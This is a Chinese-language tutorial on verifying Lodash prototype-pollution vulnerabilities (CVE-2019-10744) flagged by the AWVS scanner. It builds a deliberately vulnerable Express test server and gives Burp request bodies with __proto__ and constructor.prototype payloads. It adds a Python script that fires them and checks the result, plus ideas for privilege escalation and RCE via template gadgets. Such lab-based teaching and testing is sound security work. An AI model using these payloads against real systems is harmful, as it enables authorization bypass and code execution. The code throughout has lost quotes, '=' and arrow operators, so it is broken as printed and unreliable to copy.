
1. 项目概述从“知道”到“验证”的跨越在安全测试的日常工作中我们经常会遇到扫描器比如AWVS报出各种漏洞。其中像“Lodash原型链污染漏洞”这类依赖库的漏洞报告上往往只有一个冷冰冰的CVE编号和风险等级比如“CVE-2021-23337”。很多刚入门的朋友看到这个第一反应可能是“哦高危漏洞得修。” 但紧接着问题就来了这个漏洞在我的目标应用上真的存在吗它具体是怎么触发的能造成什么实际影响AWVS报的就一定是真的吗这就是“漏洞验证”环节存在的核心价值。它不是一个简单的“是”或“否”的判断题而是一个需要你亲自动手、深入理解漏洞原理并最终在目标环境中复现出攻击效果的实证过程。对于Lodash这个在前端世界无处不在的工具库其原型链污染漏洞的验证尤其典型。它不像SQL注入那样有直观的回显其危害隐蔽且深远从数据篡改到远程代码执行都有可能。因此仅仅依赖扫描器的报告是远远不够的误报和漏报时常发生。这篇文章就是为你准备的从零开始的实战指南。无论你是刚接触Web安全测试的新手还是想深入理解JavaScript原型链污染机制的安全从业者我都会带你一步步拆解。我们将从漏洞原理的通俗解读开始到搭建一个用于验证的靶场环境再到手把手编写验证脚本最后深入分析AWVS的扫描逻辑并分享我踩过的坑和总结的独家技巧。目标只有一个让你不仅能看懂AWVS的报告更能亲手验证它从“知其然”进阶到“知其所以然”最终具备独立判断和深入利用的能力。2. 漏洞原理深度拆解为什么Lodash会“污染”在动手之前我们必须把原理吃透。很多人对“原型链污染”望而生畏其实它的核心思想可以用一个生活化的比喻来理解想象一家公司的规章制度原型对象。如果有个员工对象A想申请一项特殊福利但公司的员工手册A自身的属性里没写他就会去查阅部门的规章A的原型如果还没有就会继续向上查找公司的总规章Object的原型。原型链污染就相当于有人恶意修改了公司的总规章在里面加了一条“所有员工年终奖减半”。那么所有没有在自身或部门规章里明确定义“年终奖”属性的员工都会自动“继承”这条恶意规则。在JavaScript中每个对象都有一个隐藏的__proto__属性或通过Object.getPrototypeOf()访问指向它的原型对象。当你访问一个对象的属性时如果它自身没有引擎就会沿着这条__proto__链向上查找。Lodash库中的某些函数在特定使用方式下会意外地允许攻击者修改这个原型链上的属性。以经典的CVE-2019-10744影响Lodash 4.17.12为例罪魁祸首是_.defaultsDeep函数。这个函数的本意是“深度合并”多个对象如果目标对象缺少某个属性就用源对象的属性来填充。问题出在它的合并逻辑上。我们来看一段问题代码的简化逻辑// 模拟有问题的合并逻辑非真实源码便于理解 function merge(target, source) { for (let key in source) { if (typeof source[key] object source[key] ! null) { if (!target.hasOwnProperty(key)) { target[key] {}; // 这里可能错误地创建了对象 } // 递归合并 merge(target[key], source[key]); } else { // 如果target没有这个属性就赋值 if (!target.hasOwnProperty(key)) { target[key] source[key]; } } } }关键点在于if (!target.hasOwnProperty(key)) { target[key] {}; }这一行。如果攻击者构造一个特殊的source对象其某个属性的键名是__proto__而值也是一个对象{“polluted”: “yes”}。当函数递归处理到这个键时target可能是某个空对象{}自身没有__proto__属性于是它就会执行target[“__proto__”] {}。在JavaScript中target[“__proto__”]的赋值操作实际上修改的是target的原型即Object.prototype这就导致了污染。所以污染发生的条件可以归纳为三点存在漏洞函数使用了存在问题的Lodash函数如_.defaultsDeep,_.merge,_.set等在特定版本下的某些用法。用户输入可控攻击者能够控制传入这些函数的对象数据通常来自HTTP请求参数、JSON解析等。属性查找路径目标应用后续存在基于原型链的属性查找逻辑。污染成功后影响是全局性的。例如污染了Object.prototype后任何对象在访问polluted属性时只要自身没有定义都会返回“yes”。这可能导致拒绝服务污染了toString、valueOf等方法导致程序崩溃。逻辑漏洞影响应用的身份验证、权限判断逻辑例如检查user.isAdmin如果user对象没有isAdmin属性就会去原型链上找而攻击者恰好污染了Object.prototype.isAdmin true。远程代码执行在Node.js环境下如果污染了console.log等方法或者结合模板引擎如Pug/Jade的渲染可能实现更严重的攻击。注意不同CVE对应的具体函数和触发路径可能不同。例如CVE-2021-23337涉及_.template而CVE-2020-8203涉及_.zipObjectDeep。但核心的“通过可控输入修改原型”这一模式是相通的。验证前务必明确你要验证的是哪个具体CVE。3. 靶场环境搭建与工具准备“工欲善其事必先利其器。” 在真实网站上直接测试漏洞是极不道德且违法的行为。因此我们需要一个安全的、可控的本地环境来练习。这里我提供两种最实用的方案使用现成的漏洞靶场或者自己动手搭建一个极简的测试页面。3.1 方案一使用现成漏洞靶场推荐新手对于初学者我强烈推荐使用专门的安全练习平台它们集成了各种漏洞环境开箱即用。PortSwigger Web Security Academy (Burp Suite官方靶场)这是我最推荐的免费资源。虽然它没有专门的Lodash靶场但其“原型污染”实验模块在“Server-side vulnerabilities”分类下教授的原理和攻击手法是完全通用的。你可以在这里透彻理解原理后再应用到Lodash上。Node.js原型污染专项靶场GitHub上有很多开源项目例如client-side-prototype-pollution或一些CTF题目集。你可以搜索“prototype pollution lab”或“lodash CVE lab”来找到它们。通常只需要git clone下来然后运行npm install和npm start即可。3.2 方案二手动搭建极简测试环境如果你想更深入地控制每一个环节自己搭建一个环境是最好的选择。这能让你对数据流向有最清晰的认识。步骤1创建项目目录在你的工作区新建一个文件夹例如lodash-pollution-test。步骤2初始化并安装有漏洞的Lodash打开终端进入该目录执行以下命令npm init -y # 快速创建package.json npm install lodash4.17.10 # 安装一个已知存在CVE-2019-10744漏洞的版本这里我们特意安装了一个存在漏洞的旧版本4.17.10。在实际验证中你需要根据AWVS报告指出的CVE编号去安装对应的受影响版本。步骤3创建测试服务器文件在项目根目录下创建一个名为server.js的文件。我们将使用Node.js的Express框架来快速搭建一个Web服务器并模拟一个存在漏洞的接口。const express require(express); const _ require(lodash); // 引入有漏洞的lodash版本 const app express(); const port 3000; // 必须使用用于解析JSON格式的请求体 app.use(express.json()); // 一个存在漏洞的API端点使用_.defaultsDeep处理用户传入的配置 app.post(/api/merge-config, (req, res) { try { const userConfig req.body.config; // 用户可控的输入 const defaultConfig { theme: light, permissions: { read: true, write: false } }; // 危险操作使用有漏洞的函数合并对象 // 如果userConfig包含恶意构造的__proto__属性就会污染原型链 const finalConfig _.defaultsDeep({}, userConfig, defaultConfig); // 模拟后续操作检查某个属性这里模拟一个权限检查 const checkObj {}; // 如果原型被污染checkObj.isAdmin可能会变成true if (checkObj.isAdmin) { res.json({ message: Merged config. Warning: isAdmin property found on object!, config: finalConfig, polluted: true }); } else { res.json({ message: Config merged successfully., config: finalConfig, polluted: false }); } } catch (error) { res.status(500).json({ error: error.message }); } }); // 另一个端点用于检查污染是否成功 app.get(/api/check-pollution, (req, res) { const testObj {}; // 检查Object.prototype是否被添加了恶意属性 if (testObj.polluted || testObj.isAdmin) { res.json({ polluted: true, pollutedValue: testObj.polluted || testObj.isAdmin, prototypeStatus: Object.prototype }); } else { res.json({ polluted: false }); } }); app.listen(port, () { console.log(测试服务器运行在 http://localhost:${port}); console.log(存在漏洞的接口POST http://localhost:${port}/api/merge-config); console.log(污染检查接口GET http://localhost:${port}/api/check-pollution); });步骤4运行并测试在终端中运行node server.js如果看到服务器启动成功的日志说明环境就绪。这个环境模拟了一个真实的场景后端接收用户JSON配置用_.defaultsDeep合并后续代码可能依赖对象属性进行逻辑判断。工具准备清单浏览器Chrome或Firefox用于访问测试页面和开发者工具调试。Burp Suite / OWASP ZAP必备代理工具。用于拦截、查看、重放和修改HTTP请求是漏洞验证的核心。社区版即可。Postman / cURL用于快速发送构造好的恶意请求进行自动化或脚本化测试。Node.js环境如上所述用于运行靶场或测试脚本。实操心得在搭建环境时最容易出错的地方是app.use(express.json())这行中间件忘记添加导致req.body始终是undefined。务必确保它出现在路由处理之前。另外我建议你在server.js中多添加几个使用不同漏洞函数如_.merge,_.set的接口以便一次性测试多种情况。4. 手把手漏洞验证实战现在我们进入最关键的实战环节。假设AWVS扫描报告指出目标https://example.com/api/user-profile接口可能存在Lodash原型链污染CVE-2019-10744。我们将模拟整个验证过程。4.1 信息收集与目标分析首先不是盲目地发送Payload。我们需要分析接口特征这是一个POST还是GET接口参数是通过JSON、表单还是查询字符串传递用浏览器开发者工具的“网络(Network)”标签查看一次正常请求。参数定位哪些参数看起来是对象或数组比如config、options、data这类名称或者嵌套的JSON结构。响应线索正常响应里是否包含合并后的数据是否有错误信息暴露了后端技术栈如“Lodash merge error”假设我们分析发现POST /api/user-profile接受一个JSON body其中包含一个profile对象用于更新用户信息。4.2 构造并发送探测Payload我们将使用Burp Suite来操作。步骤1拦截请求配置浏览器代理指向Burp在浏览器中正常操作触发一次更新用户资料的请求。Burp会拦截到这个请求。步骤2修改请求插入探测Payload在Burp的Proxy - Intercept标签页下找到被拦截的请求。将其发送到Repeater模块按CtrlR以便反复测试。在Repeater中我们修改JSON body。最初的请求可能如下{ userId: 123, profile: { name: 测试用户, avatar: default.png } }我们的目标是试探profile参数是否会被传入类似_.defaultsDeep的函数。构造一个经典的探测Payload{ userId: 123, profile: { name: 测试用户, avatar: default.png, __proto__: { polluted: yes } } }或者更隐蔽的变体因为有些过滤器会检查__proto__这个键名{ userId: 123, profile: { name: 测试用户, avatar: default.png, constructor: { prototype: { polluted: yes } } } }步骤3发送请求并观察响应点击“Send”发送修改后的请求。此时不要急于在响应体中寻找“polluted”字样。原型污染的成功与否往往不会在触发请求的响应中直接体现。你需要关注响应状态码是否从200变成了500或400可能意味着Payload触发了异常。响应时间是否明显变长可能触发了意外的递归。响应体中的错误信息有时后端会返回详细的错误栈可能包含“Lodash”、“Maximum call stack”、“Cannot convert object to primitive value”等关键词这都是强烈的暗示。步骤4验证污染是否成功这是关键一步。污染成功后需要另一个请求来“检测”污染效果。我们通常有两种方式寻找应用本身的功能点观察网站是否有其他地方会读取对象的某个属性。例如找一个查看个人资料的GET请求看其返回的JSON中是否多出了我们注入的polluted属性。或者是否有权限判断的地方发生了改变。使用通用检测接口如果目标应用没有明显功能点我们可以尝试诱导其输出被污染的原型属性。例如发送一个请求让服务器返回一个任意对象的JSON。或者在我们的靶场中直接调用之前写好的/api/check-pollution接口。在Repeater中我们新开一个Tab发送一个GET请求到可能输出对象信息的接口或者直接发一个简单的POST请求body为{}观察返回的对象是否包含了{“polluted”: “yes”}。4.3 编写自动化验证脚本手动在Burp里操作适合单点测试但如果要对多个参数或接口进行批量测试就需要脚本。这里提供一个使用Pythonrequests库的简单示例import requests import json import time def test_prototype_pollution(url, methodPOST, param_nameprofile): 测试指定接口是否存在原型链污染漏洞 headers {Content-Type: application/json} # 基础Payload payloads [ {__proto__: {polluted: PROTO_POLLUTED}}, {constructor: {prototype: {polluted: CONSTRUCTOR_POLLUTED}}}, ] for i, payload in enumerate(payloads): # 根据接口实际情况构造数据 if method.upper() POST: data {param_name: payload} resp requests.post(url, jsondata, headersheaders, timeout10) else: # 假设是GET参数在查询字符串需要特殊处理通常不适合复杂对象 # 对于GET原型污染通常通过查询参数解析实现构造方式不同 print(fGET请求的测试需要更精细的Payload构造此处跳过) continue print(f\n[*] 尝试Payload {i1}: {json.dumps(payload)}) print(f 状态码: {resp.status_code}) # 等待一下让可能的污染生效 time.sleep(1) # 发送检测请求 # 这里需要你根据目标实际情况找到一个用于检测的接口detect_url detect_url url.replace(user-profile, get-info) # 示例 detect_resp requests.get(detect_url, timeout10) try: detect_json detect_resp.json() # 检查返回的JSON对象中是否意外出现了我们的污染属性 # 注意这里需要递归遍历检测JSON中的所有对象以下为简单示例 if polluted in str(detect_json): print(f[!] 疑似污染成功检测响应中包含 polluted 关键字) print(f 检测响应: {detect_json}) return True, payload except: pass # 另一种检测检查响应头或Body中是否有异常 if resp.status_code 500: print(f[!] 服务器返回5xx错误可能是Payload触发了异常。) elif polluted in resp.text.lower(): print(f[!] 直接响应中出现了污染属性) return True, payload print(f\n[-] 所有Payload测试完毕未发现明显污染迹象。) return False, None if __name__ __main__: target_url http://localhost:3000/api/merge-config # 替换成你的靶场或测试地址 is_vulnerable, bad_payload test_prototype_pollution(target_url, param_nameconfig) if is_vulnerable: print(f\n[] 目标存在原型链污染漏洞) print(f 有效Payload: {json.dumps(bad_payload)})注意事项这个脚本是一个基础框架。在实际使用中你需要根据目标API的具体情况大幅修改data的构造结构必须完全模拟正常请求。detect_url和检测逻辑需要你精心设计这是验证成功与否的核心。有时需要同一个会话session所以可能要用requests.Session()。考虑目标可能对__proto__、constructor等关键字进行过滤或转义需要准备绕过Payload如使用Object.prototype的__defineGetter__等。5. AWVS扫描报告解读与深度分析当我们拿到一份AWVS关于Lodash漏洞的报告时不应该只关注那个红色的“高危”标志。一份专业的报告解读能帮你事半功倍。1. 定位关键信息漏洞名称/类型通常会明确写着“Prototype Pollution in Lodash.js”或类似标题。CVE编号例如CVE-2019-10744。这是你的行动指南立刻用这个编号去搜索引擎如NVD、CNVD查询官方描述、受影响版本、漏洞细节和可能的PoC。受影响URL/参数AWVS会指出它是在测试哪个URL、哪个参数时触发警报的。这直接指明了测试入口点。HTTP请求/响应报告里会包含触发警报的原始请求和响应数据。仔细分析这个请求看AWVS是如何构造Payload的这本身就是一种学习。同时观察服务器的响应是否有特征性错误。2. 理解AWVS的扫描逻辑AWVS等扫描器通常采用“黑盒指纹识别规则匹配”的方式指纹识别它可能通过响应头中的X-Powered-By、错误信息、或是引入的JS文件路径如/static/vendor/lodash.min.js来识别Lodash的存在。版本推断有时通过文件链接中的版本号如lodash.4.17.10.js直接判断。如果版本号在受影响范围内就会触发漏洞规则。规则库探测它内置了针对不同CVE的探测Payload。它会向所有可能的参数特别是JSON格式的参数插入这些Payload然后尝试在后续的请求中检测是否污染成功比如它可能会紧接着发送另一个请求检查响应中是否包含它注入的特定标记。3. 为什么需要人工验证——扫描器的局限性误报扫描器可能只是检测到了Lodash库的存在和版本号但实际代码中并未使用存在漏洞的函数或者使用方式安全。这就是“版本误报”。漏报扫描器的Payload是通用的可能无法覆盖目标应用特定的参数结构或过滤逻辑。例如如果目标对输入做了严格的类型检查或过滤了__proto__关键字通用Payload就会失效。深度不足扫描器通常只能验证“污染是否可能发生”但很难自动验证“污染后能造成什么实际危害”如是否能升级为RCE。这需要安全研究员根据应用上下文进行深度利用。因此你的验证工作本质上是在做一次精准的、上下文相关的白盒/灰盒测试以确认扫描器发现的“可能性”是一个“可利用性”高的真实漏洞。6. 常见问题、排查技巧与高级利用思路在验证过程中你肯定会遇到各种问题。这里我总结了一个“排错清单”和进阶思路。常见问题与解决方案速查表问题现象可能原因排查步骤与解决方案发送Payload后服务器返回400/500错误1. Payload格式错误JSON无效。2. 服务器对请求结构有严格校验。3. Payload触发了未处理的异常导致程序崩溃。1. 使用JSON验证工具检查Payload格式。2. 先用完全正常的请求结构只修改一个值确保基础请求正确。3. 查看详细的错误响应体寻找线索。服务器响应正常但检测不到污染1. 目标参数并未传入存在漏洞的函数。2. 使用的Lodash函数或版本不受此CVE影响。3. 污染成功但检测点不对。4. 应用有输入过滤或净化。1. 尝试其他可能的参数特别是嵌套对象。2. 确认AWVS报告的CVE编号尝试该CVE对应的其他Payload变种。3.思考应用的业务逻辑污染后会影响哪里用户权限配置读取尝试寻找不同的检测接口。4. 尝试使用constructor.prototype、Object.prototype等绕过过滤。污染似乎成功但属性值不是预期的1. 服务器端对值进行了处理如转义、截断。2. 多个合并操作覆盖了你的值。1. 尝试不同的值数字、布尔值、数组、对象。2. 尝试污染多个属性看哪个能保留下来。无法确定后端是否使用了Lodash1. 前端使用了但后端可能没有。2. 使用了打包工具库被混淆。1. 检查前端JS源码搜索lodash、_.等关键字。2. 故意触发一个前端错误看错误栈信息。3.最有效的方法如果可能结合其他信息泄露漏洞如源码泄露、调试接口确认。高级利用思路当你确认原型污染存在后可以思考如何提升漏洞的严重等级从污染到RCE远程代码执行这是在Node.js环境下最危险的利用。思路是污染一个能被代码执行流使用的属性。目标污染Object.prototype上的方法使其在child_process.exec、eval等函数被调用时注入恶意代码。但这通常需要应用本身有这类危险函数的调用并且调用时依赖于可能被污染的参数。经典案例结合模板引擎。如果应用使用Pug原名Jade模板并且污染了Object.prototype.block或Object.prototype.escape等属性可能在渲染模板时执行任意代码。你需要研究特定模板引擎的渲染机制。污染前端Client-Side Prototype Pollution, CSPP如果漏洞存在于前端JavaScript代码中例如从URL参数解析成对象后使用了有漏洞的Lodash函数那么攻击的影响范围是所有访问该页面的用户。可以通过污染来操纵DOM、窃取Cookie、发起恶意请求等。验证时需要在浏览器开发者工具的Console中检查Object.prototype是否被修改。利用污染进行权限提升这是最务实的利用。仔细分析应用逻辑寻找那些根据对象属性进行权限判断的地方。例如// 后端可能存在的代码逻辑 if (currentUser.isSuperAdmin) { // currentUser对象可能没有isSuperAdmin属性 // 执行管理员操作 }如果你污染了Object.prototype.isSuperAdmin true那么所有currentUser对象只要自身没有isSuperAdmin属性都会通过这个检查。我的独家避坑技巧“二分法”定位参数如果请求参数很多不确定是哪个触发的可以先用正常请求然后每次只在一个参数中插入Payload快速定位脆弱点。善用“Diff”工具将发送污染Payload前后的两个“检测请求”的响应体保存下来用文本对比工具如diff命令或Beyond Compare进行比较。有时污染导致的差异非常细微比如多了一个逗号某个值从null变成了”polluted”人眼很难发现。上下文是关键永远不要脱离应用上下文去验证漏洞。这个API是干什么的它处理的数据会流向哪里哪些地方会用到这些数据回答这些问题能帮你找到最有效的检测点和利用路径。保持环境纯净在Node.js靶场测试时注意每次测试后重启服务。因为原型污染是持久性的会污染整个Node进程环境影响后续测试结果。使用nodemon工具可以方便地自动重启。验证一个漏洞尤其是像原型污染这种隐蔽的漏洞需要耐心、细心和对原理的深刻理解。AWVS的报告只是一个起点它为你指明了方向。真正的价值在于你通过亲手验证将报告上的一个条目转化为对目标系统真实安全风险的理解。这个过程积累的经验和直觉是任何自动化工具都无法替代的。希望这篇长文能成为你武器库中的一件实用工具助你在安全测试的道路上走得更稳、更远。如果在实践中遇到新的问题不妨回到原理和流程本身从头梳理往往会有新的发现。